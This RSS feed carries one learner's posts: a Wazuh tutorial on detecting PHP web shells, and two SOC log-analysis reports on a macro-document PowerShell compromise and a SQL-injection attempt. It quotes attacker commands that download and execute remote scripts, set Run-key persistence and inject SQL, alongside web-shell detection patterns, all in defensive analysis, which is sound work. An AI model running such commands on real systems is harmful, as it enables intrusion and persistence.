<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pritiranjan Pradhan on Medium]]></title>
        <description><![CDATA[Stories by Pritiranjan Pradhan on Medium]]></description>
        <link>https://medium.com/@ppritiranjan7?source=rss-b6d98434842f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*W7CngvWOgasI6lmSIcXv9g.jpeg</url>
            <title>Stories by Pritiranjan Pradhan on Medium</title>
            <link>https://medium.com/@ppritiranjan7?source=rss-b6d98434842f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 22:43:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ppritiranjan7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Wazuh Series #6: Malware Detection (File integrity monitoring and threat detection rules)]]></title>
            <link>https://medium.com/@ppritiranjan7/wazuh-series-6-malware-detection-file-integrity-monitoring-and-threat-detection-rules-583ed16b833d?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/583ed16b833d</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[siem]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Sat, 31 Oct 2026 02:31:01 GMT</pubDate>
            <atom:updated>2026-10-31T02:31:01.763Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YUtgvL5G9ir-Xe-anYJYfw.png" /></figure><h3>Concept</h3><p>Malware detection is the process of find out malicious files or software from our system.</p><p>For malware detection Wazuh doesn’t rely on a single method like just checking known file signatures or abnormal behaviors. Instead, it combines multiple defense layers to catch sophisticated threats.</p><p>Wazuh’s several defense layers techniques, such as:</p><p>1. File Integrity Monitoring (FIM) integrated with threat intelligence source like VirusTotal and YARA scacns.</p><p>2. Anomaly and rootkit detection (Rootcheck) to spot suspicious system behavior even if a malware signature isn’t known.</p><p>3. Log analysis from third-party antivirus tools like Windows Defender and ClamAV.</p><p>By using all these tools together, it covers a wider look of potential attack vectors and evasion tactics.</p><h3>Practical</h3><h4><strong>P1: File integrity monitoring and threat detection rules</strong></h4><p>In this practical we are going to create custom rules to detect abnormal activity in files or in simple term file modification.</p><p>Wazuh recommend create all your custom rules inside <strong>/var/ossec/etc/rules/</strong> directory. I am going to create a separate file for practicals where I will write all my rules.</p><p><strong>1.</strong> Using ssh connection I connect with my Wazuh server from my Windows machine.</p><p><strong>2.</strong> In Wazuh server, go to <strong>/var/ossec/etc/rules/ </strong>and create a file <strong>practical_rule.xml</strong></p><p>Command: sudo nano /var/ossec/etc/rules/practical_rule.xml</p><p><strong>3.</strong> Now add your custom rules,</p><pre>&lt;group name=&quot;windows,webshell,linux,&quot;&gt;<br>  &lt;!-- This rule detects file creation. --&gt;<br>  &lt;rule id=&quot;100500&quot; level=&quot;12&quot;&gt;<br>    &lt;if_sid&gt;554&lt;/if_sid&gt;<br>    &lt;field name=&quot;file&quot; type=&quot;pcre2&quot;&gt;(?i)\.php$|\.phtml$|\.php3$|\.php4$|\.php5$|\.phps$|\.phar$|\.asp$|\.aspx$|\.jsp$|\.cshtml$|\.vbhtml$&lt;/field&gt;<br>    &lt;description&gt;[File creation]: Possible web shell scripting file ($(file)) created&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1105&lt;/id&gt;<br>      &lt;id&gt;T1505&lt;/id&gt;<br>    &lt;/mitre&gt;<br>  &lt;/rule&gt;<br><br>  &lt;!-- This rule detects file modification. --&gt;<br>  &lt;rule id=&quot;100501&quot; level=&quot;12&quot;&gt;<br>    &lt;if_sid&gt;550&lt;/if_sid&gt;<br>    &lt;field name=&quot;file&quot; type=&quot;pcre2&quot;&gt;(?i)\.php$|\.phtml$|\.php3$|\.php4$|\.php5$|\.phps$|\.phar$|\.asp$|\.aspx$|\.jsp$|\.cshtml$|\.vbhtml$&lt;/field&gt;<br>    &lt;description&gt;[File modification]: Possible web shell content added in $(file)&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1105&lt;/id&gt;<br>      &lt;id&gt;T1505&lt;/id&gt;<br>    &lt;/mitre&gt;<br>  &lt;/rule&gt;<br><br>  &lt;!-- This rule detects files modified with PHP web shell signatures. --&gt;<br>  &lt;rule id=&quot;100502&quot; level=&quot;15&quot;&gt;<br>    &lt;if_sid&gt;100501&lt;/if_sid&gt;<br>    &lt;field name=&quot;changed_content&quot; type=&quot;pcre2&quot;&gt;(?!)system|exec|phpinfo|base64_decode|fopen|fclose|FileSystemObject&lt;/field&gt;<br>    &lt;description&gt;[File Modification]: File $(file) contains a web shell&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1105&lt;/id&gt;<br>      &lt;id&gt;T1505.003&lt;/id&gt;<br>    &lt;/mitre&gt;<br>  &lt;/rule&gt;<br>&lt;/group&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XQZKBiCx21tmYlGyP1P1hg.png" /></figure><p>Here,</p><p>&lt;group&gt; is a lable/category for the rules inside it.</p><p>&lt;group name=”linux,webshell,windows,”&gt; means, this tells wazuh “The rules I’m defining here belong to the categories <strong>linux</strong>,<strong> webshel</strong>, and <strong>windows.</strong>”</p><p>So, our rules 100500, 100501, and 100502 are all members of those groups.</p><p><strong>&lt;if_sid&gt;554&lt;/if_sid&gt;</strong> this means “Only evaluate this rule if Wazuh rule 554 has already matched.”</p><p><strong>&lt;field name=”file” type=”pcre2&quot;&gt;”&gt;(?i)\.php$|…..&lt;/field&gt; </strong>it checks the filename extension, for example, shell.php, backdoor.php, test.aspx, cmd.jsp, evil.phtml, etc.</p><p>In the above line, <strong>(?i)</strong> means case-insensitive matching and <strong>$ </strong>means end of string (not check for shell.php.txt or shell.php.bak, etc).</p><p><strong>Rule 100500</strong> checks for any file created (whose extensions are like .php, .phtml, ….)</p><p><strong>Rule 100501</strong> checks for any modifications happened to these files (.php, .phtml, ….)</p><p>Now our <strong>Rule 100502</strong>,</p><p><strong>&lt;if_sid&gt;100501&lt;/if_sid&gt;</strong> says “Only check this rule if Rule 100501 already matched.”</p><p>So, we already know File was modified and it has a web-script extension.</p><p>Now Wazuh performs another check:</p><p>&lt;field name=”changed_content” type=”pcre2&quot;&gt;(?!)system|exec|phpinfo|…….&lt;/field&gt;</p><p>This checks the <strong>content that was changed/added</strong>.</p><p>For example, suppose someone modifies <strong>/var/www/html/index.php</strong> and adds <strong>&lt;?phpsystem($_GET[‘cmd’]);?&gt;</strong></p><p>The changed content contains <strong>system </strong>which appears in your regex.</p><p>Therefore, <strong>100501 matched -&gt; Check changed_content -&gt; Contains “system”? -&gt; YES -&gt; 100502 -&gt; Level 15</strong></p><p>Now Wazuh considers it much more suspicious.</p><p><strong>4.</strong> Now add folder path to detect any changes. First, create a folder in your desktop named it Practicas_MD.</p><p><strong>5.</strong> Once folder created, open <strong>notepad</strong> as administrator then open <strong>ossec.conf</strong> file (path C:\Program Files (x86)\ossec-agent). Go to <strong>File Integrity Monitoring </strong>section and add that folder path so that wazuh can track this directory/folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWCsTHJrntn4iHh1vBLoww.png" /></figure><p><strong>6.</strong> Once file is saved, restart wazuh agent. Run PowerShell as administrator and enter command: “<strong>Restart-Service -Name wazuh</strong>”</p><p><strong>7.</strong> Now create some files inside Practicals_MD folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jk3dWabRqHqd9CRr3u8XxA.png" /></figure><p><strong>8.</strong> Go to File integrity monitoring in wazuh dashboard, and click on Inventory tab. You can see Wazuh track our Practicals_MD folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tR6EZYMX3ay7ag_5P0vVnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*EiP73bgqPDGo_u7KoSsSTA.png" /></figure><p>Let’s test our rules.</p><p>1. Open notepad, then add the following code, then save this file in our tracked directory location.</p><pre>&lt;?php<br>echo &quot;Welcome to the page, &quot; . $_GET[&#39;name&#39;] . &quot;!&quot;;<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*TKKBrMsh5ccZuH7rkS97xw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*opB7DWSPrHlWhblm8fuIdw.png" /></figure><p>2. Now go to Threat hunting section and you can see a new alert of File creation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2w3q8AB7nGYrHSveVqJE3g.png" /></figure><p>Now let’s modify that file and check whether our rest of rules are working. For that Open that php file in notepad and add following code then save the file.</p><pre>&lt;?php<br>phpinfo(); <br>echo &quot;Welcome to the page, &quot; . $_GET[&#39;name&#39;] . &quot;!&quot;;<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*8e88zdXpM01Rwjezi5IPOQ.png" /></figure><p>Refresh your Threat hunting dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FB0XQU3gFVcw7DtAyP-b-Q.png" /></figure><p>This confirms that rules are working correctly.</p><p>You can also see what modification was happened by viewing document details section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*D08ssfHNENXjtsf1Q0DQQw.png" /></figure><h3>What’s next?</h3><p>This article covered <strong>Practical 1</strong> of the malware detection lab, focusing on detecting suspicious file changes using Wazuh File Integrity Monitoring (FIM) and custom detection rules.</p><p>In the next article, I’ll cover <strong>Practical 2: Rootkit Behaviour Detection</strong>, where we’ll explore how Wazuh can help identify suspicious rootkit-related activity.</p><p>Thanks for reading, and I’ll see you in the next Wazuh Series! 🚀</p><h3>Connect with Me😊</h3><p>If you enjoyed this article or have any questions, feel free to connect with me or follow my work:<br>💼 LinkedIn: <a href="https://www.linkedin.com/in/prpradhan13">https://www.linkedin.com/in/prpradhan13</a><br>💻 GitHub: <a href="https://https//github.com/prpradhan13">https://https://github.com/prpradhan13</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=583ed16b833d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Log Analysis Report 3]]></title>
            <link>https://medium.com/@ppritiranjan7/log-analysis-report-3-77a8d5bbf6e9?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/77a8d5bbf6e9</guid>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 02:31:01 GMT</pubDate>
            <atom:updated>2026-10-28T02:31:01.761Z</atom:updated>
            <content:encoded><![CDATA[<p>Windows Endpoint Investigation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qq9GpPwQTPYJcOrEmTFRdQ.png" /></figure><h3>Scenario</h3><p>The SOC receives an alert:<br><em>“Suspicious PowerShell activity detected on endpoint WIN10-CLIENT01.”</em></p><p>The user reports:<br><em>“I opened an Excel document that I received by email. A few seconds later, my computer became slow.”</em></p><p>You have been given the following raw logs.</p><h4>Windows Security Event Log</h4><pre>2026-10-19 10:21:03<br>EventID=4624<br>LogonType=2<br>AccountName=john.smith<br>WorkstationName=WIN10-CLIENT01<br>SourceNetworkAddress=-<br>AuthenticationPackage=Negotiate<br><br>2026-10-19 10:21:15<br>EventID=4688<br>NewProcessName=C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE<br>ParentProcessName=C:\Windows\explorer.exe<br>CommandLine=&quot;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE&quot; &quot;C:\Users\john.smith\Downloads\Invoice_2026.xlsm&quot;<br><br>2026-10-19 10:21:19<br>EventID=4688<br>NewProcessName=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br>ParentProcessName=C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE<br>CommandLine=powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ...</pre><h4>Sysmon Event Log</h4><pre>2026-10-19 10:21:20<br>EventID=1<br>Image=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br>ParentImage=C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE<br>User=WIN10-CLIENT01\john.smith<br>CommandLine=powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ...<br>IntegrityLevel=Medium<br><br>2026-10-19 10:21:22<br>EventID=1<br>Image=C:\Windows\System32\cmd.exe<br>ParentImage=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br>User=WIN10-CLIENT01\john.smith<br>CommandLine=cmd.exe /c whoami<br><br>2026-10-19 10:21:24<br>EventID=1<br>Image=C:\Windows\System32\cmd.exe<br>ParentImage=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br>User=WIN10-CLIENT01\john.smith<br>CommandLine=cmd.exe /c ipconfig /all<br><br>2026-10-19 10:21:28<br>EventID=1<br>Image=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br>ParentImage=C:\Windows\System32\cmd.exe<br>User=WIN10-CLIENT01\john.smith<br>CommandLine=powershell.exe -Command &quot;Invoke-WebRequest http://198.51.100.25/update.ps1 -OutFile C:\Users\Public\update.ps1&quot;</pre><h4>PowerShell Event Log</h4><pre>2026-10-19 10:21:19<br>EventID=400<br>HostApplication=powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden<br><br>2026-10-19 10:21:20<br>EventID=4104<br>ScriptBlockText=IEX (New-Object Net.WebClient).DownloadString(&#39;http://198.51.100.25/payload.ps1&#39;)<br><br>2026-10-19 10:21:21<br>EventID=4104<br>ScriptBlockText=IEX (New-Object Net.WebClient).DownloadString(&#39;http://198.51.100.25/payload.ps1&#39;)<br><br>2026-10-19 10:21:30<br>EventID=4104<br>ScriptBlockText=New-ItemProperty -Path &#39;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&#39; -Name &#39;WindowsUpdate&#39; -Value &#39;powershell.exe -File C:\Users\Public\update.ps1&#39;</pre><h4>Network Log</h4><pre>2026-10-19 10:21:21<br>SRC=192.168.1.25<br>DST=198.51.100.25<br>DST_PORT=80<br>PROTOCOL=HTTP<br>URI=/payload.ps1<br>ACTION=ALLOW<br><br>2026-10-19 10:21:28<br>SRC=192.168.1.25<br>DST=198.51.100.25<br>DST_PORT=80<br>PROTOCOL=HTTP<br>URI=/update.ps1<br>ACTION=ALLOW<br><br>2026-10-19 10:22:01<br>SRC=192.168.1.25<br>DST=198.51.100.25<br>DST_PORT=443<br>PROTOCOL=HTTPS<br>URI=/beacon<br>ACTION=ALLOW</pre><h3>Executive Summary:</h3><p>WIN10-CLIENT01 was compromised after user john.smith opened the macro-enabled Excel document Invoice_2026.xlsm. The document spawned PowerShell with execution-policy bypass, hidden-window, and encoded-command parameters, which subsequently downloaded PowerShell payloads from the external IP 198.51.100.25. The activity included system discovery commands (whoami and ipconfig /all) and established persistence through a Registry Run key that executes C:\Users\Public\update.ps1 at user logon. Subsequent HTTPS communication to /beacon on 198.51.100.25 indicates suspected command-and-control activity.</p><h3>Initial Access:</h3><p>Likely Initial Access: Phishing — Spearphishing Attachment (T1566.001).<br> The user opened Invoice_2026.xlsm, a macro-enabled Excel document, from the Downloads directory. The user’s report indicates that the document was received by email, making a malicious email attachment the likely initial access vector. Shortly after the document was opened, EXCEL.EXE spawned powershell.exe with -ExecutionPolicy Bypass, -WindowStyle Hidden, and an encoded command, indicating execution of potentially malicious content from the document. The available telemetry does not independently prove that the Excel file arrived via email, so phishing should be described as the likely initial access vector rather than a confirmed fact from the logs alone.</p><h3>Attack Chain:</h3><p>2026–10–19 10:21:03 — User loged in to system (AccountName=john.smith)<br> 2026–10–19 10:21:15 — A macro-enabled Excel file (Invoice_2026.xlsm) downloaded by user.<br> 2026–10–19 10:21:19 — User opened that macro-enabled excel file and powershell executes a hidden encoded command to bypass the execution policy.</p><p>2026–10–19 10:21:20 &amp; 2026–10–19 10:21:21 — Staged Payload downloaded from 198.51.100.25 (IEX (New-Object Net.WebClient).DownloadString(‘<a href="http://198.51.100.25/payload.ps1">http://198.51.100.25/payload.ps1</a>&#39;)).</p><p>2026–10–19 10:21:22 — Powershell loaded command prompt to check current user details (whoami)<br> 2026–10–19 10:21:24 — Attacker explore ip address details (command = ipconfig /all).<br> 2026–10–19 10:21:28 — Downloaded a update.ps1 file from 198.51.100.25 and file stored in<br> C:\Users\Public\update.ps1 .<br> 2026–10–19 10:21:30 — Registry path changed and creates the persistence mechanism.<br> 2026–10–19 10:22:01 — Persistence C2 connection with 198.51.100.25 .</p><h3>Suspicious Indicators</h3><p>Invoice_2026.xlsm (Macro enabled excel file)</p><p>EXCEL.EXE (Parent process) runs powershell.exe (child process)</p><p>powershell.exe (Parent Image) loaded cmd.exe (child image)</p><p>198.51.100.25 (IP address used by Attacker might be C2 server)</p><p>powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ… (Suspicious powershell command executes an encoded command)</p><p>IEX (New-Object Net.WebClient).DownloadString(‘<a href="http://198.51.100.25/payload.ps1">http://198.51.100.25/payload.ps1</a>&#39;) — Powershell executed script block and Staged payload downloaded.</p><p>update.ps1 (Suspicious file downloaded from attacker IP)</p><p>New-ItemProperty -Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ -Name ‘WindowsUpdate’ -Value ‘powershell.exe -File C:\Users\Public\update.ps1’ (Registry modification)</p><h3>Persistence Evidence</h3><p>New-ItemProperty -Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ -Name ‘WindowsUpdate’ -Value ‘powershell.exe -File C:\Users\Public\update.ps1’</p><h3>Command &amp; Control Evidence</h3><p>powershell.exe -Command “Invoke-WebRequest <a href="http://198.51.100.25/update.ps1">http://198.51.100.25/update.ps1</a> -OutFile C:\Users\Public\update.ps1”</p><p>192.168.1.25 -&gt; 198.51.100.25 URI=/beacon at 10:22:01</p><p>198.51.100.25 is a suspected malicious external server/C2 endpoint based on PowerShell payload retrieval and subsequent beacon communication.</p><h3>IOCs</h3><p>Account Name = john.smith</p><p>Workstation Name = WIN10-CLIENT01</p><p>Attacker/external IP = 198.51.100.25</p><p>URLs = “<a href="http://198.51.100.25/payload.ps1">http://198.51.100.25/payload.ps1</a>&quot;, “<a href="http://198.51.100.25/update.ps1">http://198.51.100.25/update.ps1</a>&quot;, “<a href="http://198.51.100.25/beacon">http://198.51.100.25/beacon</a>&quot;</p><p>Filenames = Invoice_2026.xlsm, update.ps1</p><p>Registry path = HKCU:\Software\Microsoft\Windows\CurrentVersion\Run</p><p>Suspicious commands are,</p><ul><li>powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ…</li><li>powershell.exe -Command “Invoke-WebRequest <a href="http://198.51.100.25/update.ps1">http://198.51.100.25/update.ps1</a> -OutFile C:\Users\Public\update.ps1”</li><li>IEX (New-Object Net.WebClient).DownloadString(‘<a href="http://198.51.100.25/payload.ps1">http://198.51.100.25/payload.ps1</a>&#39;)</li><li>New-ItemProperty -Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ -Name ‘WindowsUpdate’ -Value ‘powershell.exe -File C:\Users\Public\update.ps1’</li></ul><h3>MITRE ATT&amp;CK</h3><ul><li>Malicious Excel attachment: <strong>T1566.001</strong> — Phishing( Spearphishing)</li><li>Attachment PowerShell: <strong>T1059.001</strong> — PowerShell Obfuscated/encoded</li><li>PowerShell: <strong>T1027 </strong>— Obfuscated/Compressed Files and Information</li><li>PowerShell downloads payload: <strong>T1105 </strong>— Ingress Tool Transfer (C2)</li><li>whoami: <strong>T1033 </strong>— System Owner/User Discovery</li><li>ipconfig: <strong>T1016 </strong>— System Network Configuration Discovery</li><li>Registry Run key: <strong>T1547.001</strong> — Registry Run Keys / Startup Folder</li><li>C2 over HTTP/HTTPS: <strong>T1071.001 </strong>— Application Layer Protocols</li></ul><h3>Severity</h3><p><strong>High</strong></p><p>Here attacker add a new registry value in “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run”. It is the path for configures a program to automatically launch every time the currently logged-in user signs into Windows. Although there is no logs of automatically launched program but it can launch startup programs, change system behavior, enable or disable software features, or if entered incorrectly, cause apps to malfunction or prevent Windows from booting.</p><h3>Immediate Containment</h3><ul><li>Isolate the WIN10-CLIENT01</li><li>Preserve relevant logs and memory/disk evidence if your IR process requires it</li><li>Block IP address — 198.51.100.25</li><li>Disable or reset john.smith credentials if compromise of the account is suspected</li><li>Remove malicious persistence (Registry key).</li><li>Quarantine malicious files.</li><li>Determine whether other endpoints contacted 198.51.100.25.</li><li>Reimage the endpoint if required by the organization’s IR policy.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77a8d5bbf6e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Log Analysis Report 2]]></title>
            <link>https://medium.com/@ppritiranjan7/log-analysis-report-2-6bd5ff94fe82?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bd5ff94fe82</guid>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 02:31:01 GMT</pubDate>
            <atom:updated>2026-10-25T02:31:01.993Z</atom:updated>
            <content:encoded><![CDATA[<p>Web Attack Investigation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHOjT9HeKd3fNL4TepUdbQ.png" /></figure><h3>Incident Description</h3><p>The web application owner reports that the website became slow for a few minutes. Shortly after, a user reported that some pages displayed unexpected errors.</p><p>You receive logs from three different sources:</p><ul><li>Apache Access Log</li><li>Linux Authentication Log</li><li>Application Log</li></ul><p>Determine whether these events are related.</p><h4>Apache Access Log</h4><pre>192.168.1.20 - - [18/Jun/2026:14:10:11 +0000] &quot;GET / HTTP/1.1&quot; 200 4123 &quot;-&quot; &quot;Mozilla/5.0&quot;<br>192.168.1.50 - - [18/Jun/2026:14:10:20 +0000] &quot;GET /login HTTP/1.1&quot; 200 2101 &quot;-&quot; &quot;Mozilla/5.0&quot;<br>203.0.113.55 - - [18/Jun/2026:14:12:01 +0000] &quot;GET /index.php?id=12 HTTP/1.1&quot; 200 3501 &quot;-&quot; &quot;Mozilla/5.0&quot;<br>203.0.113.55 - - [18/Jun/2026:14:12:05 +0000] &quot;GET /index.php?id=12&#39; HTTP/1.1&quot; 500 890 &quot;-&quot; &quot;sqlmap/1.7&quot;<br>203.0.113.55 - - [18/Jun/2026:14:12:08 +0000] &quot;GET /index.php?id=12 OR 1=1-- HTTP/1.1&quot; 500 902 &quot;-&quot; &quot;sqlmap/1.7&quot;<br>203.0.113.55 - - [18/Jun/2026:14:12:15 +0000] &quot;GET /index.php?id=12 UNION SELECT username,password FROM users-- HTTP/1.1&quot; 500 1102 &quot;-&quot; &quot;sqlmap/1.7&quot;<br>203.0.113.55 - - [18/Jun/2026:14:12:40 +0000] &quot;GET /robots.txt HTTP/1.1&quot; 200 68 &quot;-&quot; &quot;Mozilla/5.0&quot;<br>192.168.1.75 - - [18/Jun/2026:14:13:11 +0000] &quot;GET /products HTTP/1.1&quot; 200 8212 &quot;-&quot; &quot;Mozilla/5.0&quot;</pre><h4>Linux Authentication Log</h4><pre>Jun 18 14:15:20 web01 sshd[3012]: Failed password for root from 203.0.113.55 port 51231 ssh2<br>Jun 18 14:15:24 web01 sshd[3013]: Failed password for root from 203.0.113.55 port 51244 ssh2<br>Jun 18 14:15:28 web01 sshd[3014]: Failed password for root from 203.0.113.55 port 51258 ssh2<br>Jun 18 14:15:35 web01 sshd[3015]: Connection closed by authenticating user root 203.0.113.55 port 51270 [preauth]<br>Jun 18 14:17:11 web01 sshd[3020]: Accepted publickey for deploy from 192.168.1.10 port 4312 ssh2</pre><h4>Application Log</h4><pre>2026-06-18 14:12:06 ERROR Database syntax error near &quot;&#39;&quot;<br>2026-06-18 14:12:09 ERROR SQL execution failed<br>2026-06-18 14:12:16 WARNING Unexpected SQL query detected<br>2026-06-18 14:13:05 INFO User alice logged in<br>2026-06-18 14:14:12 INFO Product page rendered successfully<br>2026-06-18 14:16:44 INFO Scheduled backup completed</pre><h3>Incident Summary</h3><p>A login for user “alice” occurred shortly after SQL injection attempts. Based on the available logs, it cannot be confirmed whether this login was performed by the attacker or by the legitimate user.</p><h3>Findings:</h3><p>Finding 1</p><ul><li>Multiple requests in a small time period.</li><li>SQL map use by attacker for login as admin.</li></ul><p>Finding 2</p><ul><li>A sql query found by attacker UNION SELECT username,password FROM users —</li></ul><p>Finding 3</p><ul><li>Multiple failed logins for root access.</li></ul><p>Finding 4</p><ul><li>Attacker tried multiple sql injections.</li><li>ERROR Database syntax error near “‘”</li><li>ERROR SQL execution failed</li></ul><p>Finding 5</p><ul><li>Attacker found out relevant query.</li><li>WARNING Unexpected SQL query detected</li></ul><p>Finding 6</p><ul><li>Logged in using Alice credentials.</li><li>INFO User alice logged in</li></ul><p>Finding 7</p><ul><li>A backup completion was happened.</li><li>INFO Scheduled backup completed</li></ul><h3>Attack Timeline:</h3><p>2026–06–18 14:12:01 — Came to web page<br>2026–06–18 14:12:05 — Start sql map (Apache Access Log)</p><p>2026–06–18 14:12:06 — ERROR Database syntax error near “‘” (Application Log)<br>2026–06–18 14:12:08 — sql query (OR 1=1 — ) (Apache Access Log)</p><p>2026–06–18 14:12:09 — ERROR SQL execution failed (Application Log)<br>2026–06–18 14:12:15 — Found correct query (UNION SELECT username,password FROM users — ) (Apache Access Log)</p><p>2026–06–18 14:12:16 — WARNING Unexpected SQL query detected (Application Log)<br>2026–06–18 14:12:40 — Access robots.txt for Reconnaissance</p><p>2026–06–18 14:13:05 — Logged in using Alice credentials (INFO User alice logged in)</p><p>2026–06–18 14:14:12 — Product page rendered successfully</p><p>2026–06–18 14:15:20 — Failed password for root</p><p>2026–06–18 14:15:24 — Failed password for root</p><p>2026–06–18 14:15:28 — Failed password for root</p><p>2026–06–18 14:15:35 — Connection closed by authenticating user root 203.0.113.55</p><p>2026–06–18 14:16:44 — Scheduled backup completed</p><p>2026–06–18 14:17:11 — Accepted publickey for deploy</p><h3>Initial Access Evidence:</h3><p>No confirmed initial access observed. The attacker attempted SQL injection and SSH brute force, but the available logs do not confirm successful compromise.</p><h3>Attack Technique</h3><ul><li>SQL Injection</li><li>Credential Access (attempted)</li><li>SSH Brute Force</li></ul><h3>Indicators of Compromise (IOCs)</h3><ul><li>IP addresses: 203.0.113.55</li><li>User agents: sqlmap/1.7</li><li>URLs/endpoints: /login, /index.php?id=12, /robots.txt, /products</li><li>User accounts: Alice</li></ul><h3>Containment Recommendations:</h3><p><strong>Immediate</strong></p><ul><li>Stop web server</li><li>Restrict Database connetion</li><li>Terminate active SSH sessions</li><li>Recreate ssh public keys</li><li>Block source IP 203.0.113.55</li><li>Isolate host web01 from network</li><li>Apply WAF rule</li><li>Patch the vulnerable endpoint</li><li>Disable vulnerable functionality if necessary</li></ul><p><strong>Investigation</strong></p><ul><li>Review ~/.ssh/authorized_keys for unauthorized SSH keys.</li><li>Review cron jobs and systemd timers for persistence.</li><li>Check /etc/sudoers and sudo group membership for privilege escalation.</li><li>Review web server and database logs to determine whether SQL injection succeeded.</li><li>Inspect web application directories for uploaded web shells or modified files.</li><li>Review bash history for suspicious commands.</li><li>Search for recently created or modified executables in /tmp, /var/tmp, /dev/shm, and user home directories.</li><li>Review active and historical network connections for command-and-control or data exfiltration.</li><li>Check for newly created user accounts or unexpected privilege changes.</li></ul><h3>MITRE ATT&amp;CK Mapping:</h3><ul><li>T1190: sqlmap</li><li>T1594 Reconnaissance (robots.txt)</li></ul><h3>Severity</h3><p><strong>High</strong></p><ul><li>Confirmed SQL injection attempts.</li><li>Automated exploitation tool (sqlmap).</li><li>SSH brute-force attempts.</li><li>Multiple attack phases from the same IP.</li><li>Potential impact is high, but <strong>no confirmed compromise</strong>.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bd5ff94fe82" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Log Analysis Report 1]]></title>
            <link>https://medium.com/@ppritiranjan7/log-analysis-report-1-1971bfc16841?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/1971bfc16841</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
